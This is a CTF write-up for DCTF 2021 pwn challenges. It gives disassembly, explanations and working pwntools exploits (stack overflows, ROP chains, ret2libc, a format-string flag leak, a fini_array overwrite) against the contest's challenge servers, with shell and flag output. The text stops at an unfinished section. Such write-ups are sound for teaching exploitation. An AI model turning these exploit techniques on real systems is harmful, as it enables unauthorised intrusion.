DCTF - 2021
I played this CTF event with the WeakButLeet team and in the end, we managed to get 18th rank, sadly we couldn’t do much crypto challenges but overall it was a fun CTF to get refreshed, there were other CTFs running as well but I only played this as there was a local CTF going on. In the end, I manage to solve 7/8 pwn challenges and remaining one was solved by Faith, super talented guy.
Pwn Sanity Check #
This was more of a sanity check challenge for the pwn challenges, this was ridiculously easy:-
gef➤ disas main
Dump of assembler code for function main:
0x000000000040078c <+0>: push rbp
0x000000000040078d <+1>: mov rbp,rsp
0x0000000000400790 <+4>: mov edi,0xa
0x0000000000400795 <+9>: mov eax,0x0
0x000000000040079a <+14>: call 0x400580 <alarm@plt>
0x000000000040079f <+19>: mov eax,0x0
0x00000000004007a4 <+24>: call 0x400730 <vuln>
0x00000000004007a9 <+29>: mov eax,0x0
0x00000000004007ae <+34>: pop rbp
0x00000000004007af <+35>: ret
End of assembler dump.
gef➤ disas vuln
Dump of assembler code for function vuln:
0x0000000000400730 <+0>: push rbp
0x0000000000400731 <+1>: mov rbp,rsp
0x0000000000400734 <+4>: sub rsp,0x40
0x0000000000400738 <+8>: lea rdi,[rip+0x1d1] # 0x400910
0x000000000040073f <+15>: call 0x400550 <puts@plt>
0x0000000000400744 <+20>: mov rdx,QWORD PTR [rip+0x200915] # 0x601060 <stdin@@GLIBC_2.2.5>
0x000000000040074b <+27>: lea rax,[rbp-0x40]
0x000000000040074f <+31>: mov esi,0x100
0x0000000000400754 <+36>: mov rdi,rax
0x0000000000400757 <+39>: call 0x400590 <fgets@plt>
0x000000000040075c <+44>: cmp DWORD PTR [rbp-0x4],0xdeadc0de
0x0000000000400763 <+51>: jne 0x40077d <vuln+77>
0x0000000000400765 <+53>: lea rdi,[rip+0x1b4] # 0x400920
0x000000000040076c <+60>: call 0x400550 <puts@plt>
0x0000000000400771 <+65>: mov eax,0x0
0x0000000000400776 <+70>: call 0x4006f4 <shell>
0x000000000040077b <+75>: jmp 0x400789 <vuln+89>
0x000000000040077d <+77>: lea rdi,[rip+0x1c1] # 0x400945
0x0000000000400784 <+84>: call 0x400550 <puts@plt>
0x0000000000400789 <+89>: nop
0x000000000040078a <+90>: leave
0x000000000040078b <+91>: ret
First off the main function calls the vuln function which takes the input from the fgets, there was a buffer overflow vulnerability in the fgets call since the buffer was of size 0x40, while the size fgets takes is 0x100 making it vulnerable to stack overflow. In the vuln function it checks if the rbp - 0x4 has the value 0xdeadc0de which calls the shell function it the value turns out to be same but the shell function wasn’t spawning shell, it turns out to be troll function. Next up, there was a win function:-
Dump of assembler code for function win:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: sub rsp,0x10
0x000000000040069f <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004006a2 <+11>: mov DWORD PTR [rbp-0x8],esi
0x00000000004006a5 <+14>: lea rdi,[rip+0x18c] # 0x400838
0x00000000004006ac <+21>: call 0x400550 <puts@plt>
0x00000000004006b1 <+26>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x00000000004006b8 <+33>: jne 0x4006f1 <win+90>
0x00000000004006ba <+35>: lea rdi,[rip+0x1b7] # 0x400878
0x00000000004006c1 <+42>: call 0x400550 <puts@plt>
0x00000000004006c6 <+47>: cmp DWORD PTR [rbp-0x8],0x1337c0de
0x00000000004006cd <+54>: jne 0x4006f1 <win+90>
0x00000000004006cf <+56>: lea rdi,[rip+0x1b7] # 0x40088d
0x00000000004006d6 <+63>: call 0x400550 <puts@plt>
0x00000000004006db <+68>: lea rdi,[rip+0x1bc] # 0x40089e
0x00000000004006e2 <+75>: call 0x400560 <system@plt>
0x00000000004006e7 <+80>: mov edi,0x0
0x00000000004006ec <+85>: call 0x4005a0 <exit@plt>
0x00000000004006f1 <+90>: nop
0x00000000004006f2 <+91>: leave
0x00000000004006f3 <+92>: ret
This function spawns a shell /bin/sh but only if the given argument to the function will be equivalent to 0xdeadbeef and 0x1337c0de respectively. In order to do so, we find the gadgets using ropper, since the binary is 64 bit, the calling convention of the 64 bit architecture says 1st argument for a function calls goes to the rdi while the second goes to rsi and so on. We find two useful gadgets here:-
0x0000000000400813: pop rdi; ret;
0x0000000000400811: pop rsi; pop r15; ret;
Now, we can just create a ROP chain and give the value 0xdeadbeef to the rdi and 0x1337c0de to the rsi and give any junk value to the r15 since it doesn’t matter what r15 holds, the exploit was as follows:-
py
from pwn import *
p = remote("dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io", 7480)
payload = b"A"*72
payload += p64(0x0000000000400813)
payload += p64(0xdeadbeef)
payload += p64(0x0000000000400811)
payload += p64(0x1337c0de)*2
payload += p64(0x400697)
p.recvline()
p.sendline(payload)
p.interactive()
Running the exploit:-
❯ python3 pwn_sanity.py
[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
will this work?
you made it to win land, no free handouts this time, try harder
one down, one to go!
2/2 bro good job
$ cat flag.txt
dctf{Ju5t_m0v3_0n}
$
Pinch Me
This challenge was also simple, loading the binary in gdb and checking the functions it contains, we can see that there’s a main function and vuln functions which are of interest:-
gef➤ disas main
Dump of assembler code for function main:
0x00000000004011d5 <+0>: push rbp
0x00000000004011d6 <+1>: mov rbp,rsp
0x00000000004011d9 <+4>: mov edi,0xa
0x00000000004011de <+9>: call 0x401050 <alarm@plt>
0x00000000004011e3 <+14>: mov eax,0x0
0x00000000004011e8 <+19>: call 0x401152 <vuln>
0x00000000004011ed <+24>: mov eax,0x0
0x00000000004011f2 <+29>: pop rbp
0x00000000004011f3 <+30>: ret
End of assembler dump.
gef➤ disas vuln
Dump of assembler code for function vuln:
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: sub rsp,0x20
0x000000000040115a <+8>: mov DWORD PTR [rbp-0x4],0x1234567
0x0000000000401161 <+15>: mov DWORD PTR [rbp-0x8],0x89abcdef
0x0000000000401168 <+22>: lea rdi,[rip+0xe99] # 0x402008
0x000000000040116f <+29>: call 0x401030 <puts@plt>
0x0000000000401174 <+34>: lea rdi,[rip+0xebd] # 0x402038
0x000000000040117b <+41>: call 0x401030 <puts@plt>
0x0000000000401180 <+46>: mov rdx,QWORD PTR [rip+0x2ec9] # 0x404050 <stdin@@GLIBC_2.2.5>
0x0000000000401187 <+53>: lea rax,[rbp-0x20]
0x000000000040118b <+57>: mov esi,0x64
0x0000000000401190 <+62>: mov rdi,rax
0x0000000000401193 <+65>: call 0x401060 <fgets@plt>
0x0000000000401198 <+70>: cmp DWORD PTR [rbp-0x8],0x1337c0de
0x000000000040119f <+77>: jne 0x4011af <vuln+93>
0x00000000004011a1 <+79>: lea rdi,[rip+0xe9f] # 0x402047
0x00000000004011a8 <+86>: call 0x401040 <system@plt>
0x00000000004011ad <+91>: jmp 0x4011d2 <vuln+128>
0x00000000004011af <+93>: cmp DWORD PTR [rbp-0x4],0x1234567
0x00000000004011b6 <+100>: je 0x4011c6 <vuln+116>
0x00000000004011b8 <+102>: lea rdi,[rip+0xe90] # 0x40204f
0x00000000004011bf <+109>: call 0x401030 <puts@plt>
0x00000000004011c4 <+114>: jmp 0x4011d2 <vuln+128>
0x00000000004011c6 <+116>: lea rdi,[rip+0xe93] # 0x402060
0x00000000004011cd <+123>: call 0x401030 <puts@plt>
0x00000000004011d2 <+128>: nop
0x00000000004011d3 <+129>: leave
0x00000000004011d4 <+130>: ret
End of assembler dump.
gef➤
The vuln function has an obvious buffer overflow as same as of the Pwn Sanity only the size changed yet the vulnerability remains the same, the function checks whether the variable stored at the rbp - 0x8
is equal to the 0x1337c0de
and if it does calls system("/bin/sh")
, so in order to do, we know that the buffer we control the input for is stored at rbp - 0x20
and the rbp - 0x8
was compared to the value of 0x1337c0de
, so we can just do 0x20 - 0x8 to get the offset for the variable we need to control the input for which would be 0x20 - 0x8 = 24
, hence 24
is the offset for the comparing value, then we can just grab the flag from the server:-
from pwn import *
p = remote("dctf1-chall-pinch-me.westeurope.azurecontainer.io", 7480)
payload = b"A"*24
payload += p32(0x1337c0de) # integer is 4 bytes, hence p32()
p.recvline()
p.sendline(payload)
p.interactive()
Run the exploit:-
r
❯ python3 pinch_me.py
[+] Opening connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io on port 7480: Done
[*] Switching to interactive mode
Am I dreaming?
$ id
uid=1000(pilot) gid=1000(pilot) groups=1000(pilot)
$ cat flag.txt
dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}$
[*] Interrupted
Readme #
This one was a very basic format string challenge, checking the vuln function:-
gef➤ disas vuln
Dump of assembler code for function vuln:
0x000000000000085a <+0>: push rbp
0x000000000000085b <+1>: mov rbp,rsp
0x000000000000085e <+4>: sub rsp,0x60
0x0000000000000862 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000000086b <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000000086f <+21>: xor eax,eax
0x0000000000000871 <+23>: lea rsi,[rip+0x13c] # 0x9b4
0x0000000000000878 <+30>: lea rdi,[rip+0x137] # 0x9b6
0x000000000000087f <+37>: call 0x730 <fopen@plt>
0x0000000000000884 <+42>: mov QWORD PTR [rbp-0x58],rax
0x0000000000000888 <+46>: mov rdx,QWORD PTR [rbp-0x58]
0x000000000000088c <+50>: lea rax,[rbp-0x50]
0x0000000000000890 <+54>: mov esi,0x1c
0x0000000000000895 <+59>: mov rdi,rax
0x0000000000000898 <+62>: call 0x720 <fgets@plt>
0x000000000000089d <+67>: mov rax,QWORD PTR [rbp-0x58]
0x00000000000008a1 <+71>: mov rdi,rax
0x00000000000008a4 <+74>: call 0x6e0 <fclose@plt>
0x00000000000008a9 <+79>: lea rdi,[rip+0x10f] # 0x9bf
0x00000000000008b0 <+86>: call 0x6d0 <puts@plt>
0x00000000000008b5 <+91>: mov rdx,QWORD PTR [rip+0x200754] # 0x201010 <stdin@@GLIBC_2.2.5>
0x00000000000008bc <+98>: lea rax,[rbp-0x30]
0x00000000000008c0 <+102>: mov esi,0x1e
0x00000000000008c5 <+107>: mov rdi,rax
0x00000000000008c8 <+110>: call 0x720 <fgets@plt>
0x00000000000008cd <+115>: lea rdi,[rip+0x104] # 0x9d8
0x00000000000008d4 <+122>: mov eax,0x0
0x00000000000008d9 <+127>: call 0x700 <printf@plt>
0x00000000000008de <+132>: lea rax,[rbp-0x30]
0x00000000000008e2 <+136>: mov rdi,rax
0x00000000000008e5 <+139>: mov eax,0x0
0x00000000000008ea <+144>: call 0x700 <printf@plt>
0x00000000000008ef <+149>: nop
0x00000000000008f0 <+150>: mov rax,QWORD PTR [rbp-0x8]
0x00000000000008f4 <+154>: xor rax,QWORD PTR fs:0x28
0x00000000000008fd <+163>: je 0x904 <vuln+170>
0x00000000000008ff <+165>: call 0x6f0 <__stack_chk_fail@plt>
0x0000000000000904 <+170>: leave
0x0000000000000905 <+171>: ret
End of assembler dump.
gef➤
We can see it opens the flag.txt file via fopen and read the flag from the file and store it on the stack, then it takes he input via fgets and then print the given input via printf without any format specifier, this proposed the format string vulnerability and with that we can leak the values from the stack, since the flag is also stored on the stack, we can just as well leak it, using the following exploit, we can get flag:-
from pwn import *
from binascii import unhexlify
p = remote("dctf-chall-readme.westeurope.azurecontainer.io", 7481)
p.recvline()
p.sendline("%8$lx-%9$lx-%10$lx-%11$x")
p.recvuntil("hello ")
output = p.recvline().strip().split(b"-")
flag = [unhexlify(x)[::-1] for x in output]
print(b"".join(flag)+b"}")
p.close()
Running the exploit:-
r
❯ python3 readme.py
[+] Opening connection to dctf-chall-readme.westeurope.azurecontainer.io on port 7481: Done
b'dctf{n0w_g0_r3ad_s0me_b00k5}'
[*] Closed connection to dctf-chall-readme.westeurope.azurecontainer.io port 7481
Baby BOF #
Baby BOF was normal return to libc attack, since the dockerfile is provided with the challenge which showed that the binary is running in the Ubuntu 20.04 container, hinting that the libc here used is LIBC 2.31, checking the vuln function:-
gef➤ disas vuln
Dump of assembler code for function vuln:
0x00000000004005b7 <+0>: push rbp
0x00000000004005b8 <+1>: mov rbp,rsp
0x00000000004005bb <+4>: sub rsp,0x10
0x00000000004005bf <+8>: lea rdi,[rip+0xde] # 0x4006a4
0x00000000004005c6 <+15>: call 0x4004a0 <puts@plt>
0x00000000004005cb <+20>: mov rdx,QWORD PTR [rip+0x200a6e] # 0x601040 <stdin@@GLIBC_2.2.5>
0x00000000004005d2 <+27>: lea rax,[rbp-0xa]
0x00000000004005d6 <+31>: mov esi,0x100
0x00000000004005db <+36>: mov rdi,rax
0x00000000004005de <+39>: call 0x4004c0 <fgets@plt>
0x00000000004005e3 <+44>: lea rdi,[rip+0xcb] # 0x4006b5
0x00000000004005ea <+51>: call 0x4004a0 <puts@plt>
0x00000000004005ef <+56>: nop
0x00000000004005f0 <+57>: leave
0x00000000004005f1 <+58>: ret
Again, the fgets function call is vulnerable here, we can see that the buffer is of size 0xa while the size acceptable was 0x100 making it vulnerable to buffer overflow. Now, for the ret2libc part, I would recommend you to start reading here.
The process is exact same, leak the GOT address of the puts and call main again and call system("/bin/sh"):-
from pwn import *
p = remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481)
elf = ELF("baby_bof")
libc= elf.libc
payload = b"A"*18
payload += p64(0x0000000000400683)
payload += p64(elf.got['alarm'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])
p.recvline()
p.sendline(payload)
p.recvline()
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - libc.symbols['alarm']
print(hex(libc.address))
payload = b"A"*18
payload += p64(0x000000000040048e)
payload += p64(0x0000000000400683)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.symbols['system'])
p.sendline(payload)
p.interactive()
Running the exploit:-
❯ python3 baby_bof.py
[+] Opening connection to dctf-chall-baby-bof.westeurope.azurecontainer.io on port 7481: Done
[*] '/home/d4mianwayne/Pwning/CTFs/dctf/baby_bof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc-2.31.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f37b1589000
[*] Switching to interactive mode
plz don't rop me
i don't think this will work
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
$
[*] Interrupted
Magic Trick #
This was kind of a good challenge, well kind of, first check the security mechanisms:-
gef➤ checksec
[+] checksec for '/home/d4mianwayne/Pwning/CTFs/dctf/magic_trick'
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : ✘
gef➤
Now, this shows off that that there’s Canary and NX protection while the PIE and RELRO is disabled, this means we can write the _fini_array or any of the Global Offset Table entries. The main function calls the magic function, checking it:-
gef➤ disas magic
Dump of assembler code for function magic:
0x000000000040068d <+0>: push rbp
0x000000000040068e <+1>: mov rbp,rsp
0x0000000000400691 <+4>: sub rsp,0x20
0x0000000000400695 <+8>: mov rax,QWORD PTR fs:0x28
0x000000000040069e <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004006a2 <+21>: xor eax,eax
0x00000000004006a4 <+23>: lea rdi,[rip+0x15e] # 0x400809
0x00000000004006ab <+30>: call 0x400520 <puts@plt>
0x00000000004006b0 <+35>: lea rax,[rbp-0x20]
0x00000000004006b4 <+39>: mov rsi,rax
0x00000000004006b7 <+42>: lea rdi,[rip+0x165] # 0x400823
0x00000000004006be <+49>: mov eax,0x0
0x00000000004006c3 <+54>: call 0x400560 <__isoc99_scanf@plt>
0x00000000004006c8 <+59>: lea rdi,[rip+0x159] # 0x400828
0x00000000004006cf <+66>: call 0x400520 <puts@plt>
0x00000000004006d4 <+71>: lea rax,[rbp-0x18]
0x00000000004006d8 <+75>: mov rsi,rax
0x00000000004006db <+78>: lea rdi,[rip+0x141] # 0x400823
0x00000000004006e2 <+85>: mov eax,0x0
0x00000000004006e7 <+90>: call 0x400560 <__isoc99_scanf@plt>
0x00000000004006ec <+95>: lea rdi,[rip+0x153] # 0x400846
0x00000000004006f3 <+102>: call 0x400520 <puts@plt>
0x00000000004006f8 <+107>: mov rax,QWORD PTR [rbp-0x18]
0x00000000004006fc <+111>: mov QWORD PTR [rbp-0x10],rax
0x0000000000400700 <+115>: mov rdx,QWORD PTR [rbp-0x20]
0x0000000000400704 <+119>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400708 <+123>: mov QWORD PTR [rax],rdx
0x000000000040070b <+126>: nop
0x000000000040070c <+127>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000400710 <+131>: xor rax,QWORD PTR fs:0x28
0x0000000000400719 <+140>: je 0x400720 <magic+147>
0x000000000040071b <+142>: call 0x400530 <__stack_chk_fail@plt>
0x0000000000400720 <+147>: leave
0x0000000000400721 <+148>: ret
We can see that the program calls scanf two times and take unsigned long long, first it takes a value, second input takes another input and attempt to write the value given by the first input to the address of the second input, that means it allow us to write any value to any address having r/w access to. Since the RELRO is disabled, we can overwrite the destructors which will be run once the process will come to an end to the address of the win function which prints the flag:-
from pwn import *
p = remote("dctf-chall-magic-trick.westeurope.azurecontainer.io", 7481)
elf = ELF("magic_trick")
p.recvline()
p.recvline()
p.recvline()
p.sendline(str(elf.symbols['win']))
p.recvline()
p.sendline(str(elf.symbols['__do_global_dtors_aux_fini_array_entry']))
p.interactive()
Running the exploit:-
❯ python3 magic_trick.py
[+] Opening connection to dctf-chall-magic-trick.westeurope.azurecontainer.io on port 7481: Done
[*] '/home/d4mianwayne/Pwning/CTFs/ductf/magic_trick'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Switching to interactive mode
thanks
You are a real magician
dctf{1_L1k3_M4G1c}
[*] Got EOF while reading in interactive
$
[*] Interrupted
Hotel ROP #
This was yet another ROP challenge but kind of a twist on it, it has PIE and NX enabled but the Canary was disabled:-
gef➤ checksec
[+] checksec for '/home/d4mianwayne/Pwning/CTFs/ductf/hotel_rop'
Canary : ✘
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Partial
Now, checking the function it contains, we can see there are several user-defined functions:-
gef➤ i functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 puts@plt
0x0000000000001040 system@plt
0x0000000000001050 printf@plt
0x0000000000001060 alarm@plt
0x0000000000001070 fgets@plt
0x0000000000001080 exit@plt
0x0000000000001090 __cxa_finalize@plt
0x00000000000010a0 _start
0x00000000000010d0 deregister_tm_clones
0x0000000000001100 register_tm_clones
0x0000000000001140 __do_global_dtors_aux
0x0000000000001180 frame_dummy
0x0000000000001185 loss
0x00000000000011dc california
0x0000000000001283 silicon_valley
0x000000000000131e vuln
0x000000000000136d main
0x00000000000013b0 __libc_csu_init
0x0000000000001410 __libc_csu_fini
0x0000000000001414 _fini
gef➤
Checking for the function named main function, we can see it prints the address of the main function, so much for the PIE security, PIE can bypassed since we get the address of the function, we can obtain the base address of the ELF itself. Then it calls the function vuln:-
gef➤ disas main
Dump of assembler code for function main:
0x000000000000136d <+0>: push rbp
0x000000000000136e <+1>: mov rbp,rsp
0x0000000000001371 <+4>: mov edi,0xa
0x0000000000001376 <+9>: call 0x1060 <alarm@plt>
0x000000000000137b <+14>: lea rsi,[rip+0xffffffffffffffeb] # 0x136d <main>
0x0000000000001382 <+21>: lea rdi,[rip+0xdb7] # 0x2140
0x0000000000001389 <+28>: mov eax,0x0
0x000000000000138e <+33>: call 0x1050 <printf@plt>
0x0000000000001393 <+38>: mov eax,0x0
0x0000000000001398 <+43>: call 0x131e <vuln>
0x000000000000139d <+48>: mov eax,0x0
0x00000000000013a2 <+53>: pop rbp
0x00000000000013a3 <+54>: ret
End of assembler dump.
gef➤ disas vuln
Dump of assembler code for function vuln:
0x000000000000131e <+0>: push rbp
0x000000000000131f <+1>: mov rbp,rsp
0x0000000000001322 <+4>: sub rsp,0x20
0x0000000000001326 <+8>: lea rdi,[rip+0xda3] # 0x20d0
0x000000000000132d <+15>: call 0x1030 <puts@plt>
0x0000000000001332 <+20>: mov rdx,QWORD PTR [rip+0x2d27] # 0x4060 <stdin@@GLIBC_2.2.5>
0x0000000000001339 <+27>: lea rax,[rbp-0x20]
0x000000000000133d <+31>: mov esi,0x100
0x0000000000001342 <+36>: mov rdi,rax
0x0000000000001345 <+39>: call 0x1070 <fgets@plt>
0x000000000000134a <+44>: cmp DWORD PTR [rbp-0x4],0x0
0x000000000000134e <+48>: je 0x135e <vuln+64>
0x0000000000001350 <+50>: lea rdi,[rip+0xd91] # 0x20e8
0x0000000000001357 <+57>: call 0x1030 <puts@plt>
0x000000000000135c <+62>: jmp 0x136b <vuln+77>
0x000000000000135e <+64>: lea rdi,[rip+0xdb3] # 0x2118
0x0000000000001365 <+71>: call 0x1030 <puts@plt>
0x000000000000136a <+76>: nop
0x000000000000136b <+77>: leave
0x000000000000136c <+78>: ret
End of assembler dump.
The vuln function was calling the fgets and the given size to the fgets more than the buffer could hold, so it was a stack overflow. Secondly, there were two other functions:-
gef➤ disas california
Dump of assembler code for function california:
0x00000000000011dc <+0>: push rbp
0x00000000000011dd <+1>: mov rbp,rsp
0x00000000000011e0 <+4>: lea rdi,[rip+0xe72] # 0x2059
0x00000000000011e7 <+11>: call 0x1030 <puts@plt>
0x00000000000011ec <+16>: lea rdi,[rip+0xe85] # 0x2078
0x00000000000011f3 <+23>: call 0x1030 <puts@plt>
0x00000000000011f8 <+28>: mov eax,DWORD PTR [rip+0x2e7a] # 0x4078 <len>
0x00000000000011fe <+34>: cdqe
0x0000000000001200 <+36>: lea rdx,[rip+0x2e69] # 0x4070 <win_land>
0x0000000000001207 <+43>: mov BYTE PTR [rax+rdx*1],0x2f
0x000000000000120b <+47>: mov eax,DWORD PTR [rip+0x2e67] # 0x4078 <len>
0x0000000000001211 <+53>: add eax,0x1
0x0000000000001214 <+56>: mov DWORD PTR [rip+0x2e5e],eax # 0x4078 <len>
0x000000000000121a <+62>: mov eax,DWORD PTR [rip+0x2e58] # 0x4078 <len>
0x0000000000001220 <+68>: cdqe
0x0000000000001222 <+70>: lea rdx,[rip+0x2e47] # 0x4070 <win_land>
0x0000000000001229 <+77>: mov BYTE PTR [rax+rdx*1],0x62
0x000000000000122d <+81>: mov eax,DWORD PTR [rip+0x2e45] # 0x4078 <len>
0x0000000000001233 <+87>: add eax,0x1
0x0000000000001236 <+90>: mov DWORD PTR [rip+0x2e3c],eax # 0x4078 <len>
0x000000000000123c <+96>: mov eax,DWORD PTR [rip+0x2e36] # 0x4078 <len>
0x0000000000001242 <+102>: cdqe
0x0000000000001244 <+104>: lea rdx,[rip+0x2e25] # 0x4070 <win_land>
0x000000000000124b <+111>: mov BYTE PTR [rax+rdx*1],0x69
0x000000000000124f <+115>: mov eax,DWORD PTR [rip+0x2e23] # 0x4078 <len>
0x0000000000001255 <+121>: add eax,0x1
0x0000000000001258 <+124>: mov DWORD PTR [rip+0x2e1a],eax # 0x4078 <len>
0x000000000000125e <+130>: mov eax,DWORD PTR [rip+0x2e14] # 0x4078 <len>
0x0000000000001264 <+136>: cdqe
0x0000000000001266 <+138>: lea rdx,[rip+0x2e03] # 0x4070 <win_land>
0x000000000000126d <+145>: mov BYTE PTR [rax+rdx*1],0x6e
0x0000000000001271 <+149>: mov eax,DWORD PTR [rip+0x2e01] # 0x4078 <len>
0x0000000000001277 <+155>: add eax,0x1
0x000000000000127a <+158>: mov DWORD PTR [rip+0x2df8],eax # 0x4078 <len>
0x0000000000001280 <+164>: nop
0x0000000000001281 <+165>: pop rbp
0x0000000000001282 <+166>: ret
End of assembler dump.
gef➤ disas silicon_valley
Dump of assembler code for function silicon_valley:
0x0000000000001283 <+0>: push rbp
0x0000000000001284 <+1>: mov rbp,rsp
0x0000000000001287 <+4>: lea rdi,[rip+0xe25] # 0x20b3
0x000000000000128e <+11>: call 0x1030 <puts@plt>
0x0000000000001293 <+16>: mov eax,DWORD PTR [rip+0x2ddf] # 0x4078 <len>
0x0000000000001299 <+22>: cdqe
0x000000000000129b <+24>: lea rdx,[rip+0x2dce] # 0x4070 <win_land>
0x00000000000012a2 <+31>: mov BYTE PTR [rax+rdx*1],0x2f
0x00000000000012a6 <+35>: mov eax,DWORD PTR [rip+0x2dcc] # 0x4078 <len>
0x00000000000012ac <+41>: add eax,0x1
0x00000000000012af <+44>: mov DWORD PTR [rip+0x2dc3],eax # 0x4078 <len>
0x00000000000012b5 <+50>: mov eax,DWORD PTR [rip+0x2dbd] # 0x4078 <len>
0x00000000000012bb <+56>: cdqe
0x00000000000012bd <+58>: lea rdx,[rip+0x2dac] # 0x4070 <win_land>
0x00000000000012c4 <+65>: mov BYTE PTR [rax+rdx*1],0x73
0x00000000000012c8 <+69>: mov eax,DWORD PTR [rip+0x2daa] # 0x4078 <len>
0x00000000000012ce <+75>: add eax,0x1
0x00000000000012d1 <+78>: mov DWORD PTR [rip+0x2da1],eax # 0x4078 <len>
0x00000000000012d7 <+84>: mov eax,DWORD PTR [rip+0x2d9b] # 0x4078 <len>
0x00000000000012dd <+90>: cdqe
0x00000000000012df <+92>: lea rdx,[rip+0x2d8a] # 0x4070 <win_land>
0x00000000000012e6 <+99>: mov BYTE PTR [rax+rdx*1],0x68
0x00000000000012ea <+103>: mov eax,DWORD PTR [rip+0x2d88] # 0x4078 <len>
0x00000000000012f0 <+109>: add eax,0x1
0x00000000000012f3 <+112>: mov DWORD PTR [rip+0x2d7f],eax # 0x4078 <len>
0x00000000000012f9 <+118>: mov eax,DWORD PTR [rip+0x2d79] # 0x4078 <len>
0x00000000000012ff <+124>: cdqe
0x0000000000001301 <+126>: lea rdx,[rip+0x2d68] # 0x4070 <win_land>
0x0000000000001308 <+133>: mov BYTE PTR [rax+rdx*1],0x0
0x000000000000130c <+137>: mov eax,DWORD PTR [rip+0x2d66] # 0x4078 <len>
0x0000000000001312 <+143>: add eax,0x1
0x0000000000001315 <+146>: mov DWORD PTR [rip+0x2d5d],eax # 0x4078 <len>
0x000000000000131b <+152>: nop
0x000000000000131c <+153>: pop rbp
0x000000000000131d <+154>: ret
End of assembler dump.
gef➤
The california function adds the 4 bytes to the win_land global variable, the 4 bytes were /bin and the next function named silicon_valley adds the remaining 4 bytes /sh\x00 to the win_land making the win_land equals to the /bin/shx00, then there was another function named loss, which was as following:-
gef➤ disas loss
Dump of assembler code for function loss:
0x0000000000001185 <+0>: push rbp
0x0000000000001186 <+1>: mov rbp,rsp
0x0000000000001189 <+4>: sub rsp,0x10
0x000000000000118d <+8>: mov DWORD PTR [rbp-0x4],edi
0x0000000000001190 <+11>: mov DWORD PTR [rbp-0x8],esi
0x0000000000001193 <+14>: mov edx,DWORD PTR [rbp-0x4]
0x0000000000001196 <+17>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000001199 <+20>: add eax,edx
0x000000000000119b <+22>: cmp eax,0xdeadc0de
0x00000000000011a0 <+27>: jne 0x11d9 <loss+84>
0x00000000000011a2 <+29>: lea rdi,[rip+0xe5f] # 0x2008
0x00000000000011a9 <+36>: call 0x1030 <puts@plt>
0x00000000000011ae <+41>: cmp DWORD PTR [rbp-0x4],0x1337c0de
0x00000000000011b5 <+48>: jne 0x11d9 <loss+84>
0x00000000000011b7 <+50>: lea rdi,[rip+0xe7a] # 0x2038
0x00000000000011be <+57>: call 0x1030 <puts@plt>
0x00000000000011c3 <+62>: lea rdi,[rip+0x2ea6] # 0x4070 <win_land>
0x00000000000011ca <+69>: call 0x1040 <system@plt>
0x00000000000011cf <+74>: mov edi,0x0
0x00000000000011d4 <+79>: call 0x1080 <exit@plt>
0x00000000000011d9 <+84>: nop
0x00000000000011da <+85>: leave
0x00000000000011db <+86>: ret
End of assembler dump.
gef➤
There’s some twist to the loss function, first it expects 2 arguments from the function call then it checks if the sum of 1st and 2nd argument is equals to the 0xdeadc0de if it is, then check if the first argument is equal to the 0x1337c0de once it is, calls the system with the win_land as it’s argument. In order to exploit this, with the gef we find the offset which was 0x28. then we must call californiaand silicon_valley respectively to make the win_land variable equals to /bin/sh then call the loss function.
During the call of the loss function, since we know that it expects the 1st argument to be the 0x1337c0de and the sum of 1st and 2nd should be 0xdeadc0de, we can just find the right value for the second argument by subtracting the 0xdeadc0de from the 0x1337c0de which will be:-
gef➤ p 0xdeadc0de - 0x1337c0de
$4 = 0xcb760000
gef➤
Now, the exploit will be:-
from pwn import*
p = remote("dctf1-chall-hotel-rop.westeurope.azurecontainer.io", 7480)
elf = ELF("hotel_rop")
p.recvuntil("Welcome to Hotel ROP, on main street ")
elf.address = int(p.recvline().strip(), 16) - 0x136d
print(hex(elf.address))
payload = b"A"*40
payload += p64(elf.symbols['california'])
payload += p64(elf.symbols['silicon_valley'])
payload += p64(elf.address + 0x000000000000140b)
payload += p64(0x1337c0de)
payload += p64(elf.address + 0x0000000000001409)
payload += p64(0xcb760000)*2
payload += p64(elf.symbols['loss'])
p.send(payload)
p.interactive()
Running the exploit:-
❯ python3 hotel_rop.py
[+] Opening connection to dctf1-chall-hotel-rop.westeurope.azurecontainer.io on port 7480: Done
[*] '/home/d4mianwayne/Pwning/CTFs/ductf/hotel_rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
0x564fdcdc6000
[*] Switching to interactive mode
You come here often?
I think you should come here more often.
Welcome to Hotel California
You can sign out anytime you want, but you can never leave
You want to work for Google?
$ id
uid=1000(pilot) gid=1000(pilot) groups=1000(pilot)
$ cat flag.txt
dctf{ch41n_0f_h0t3ls}$
[*] Interrupted
Formats last theorem #
This was another format string challenge, performing the checksec on the binary we get the:-
gef➤ checksec
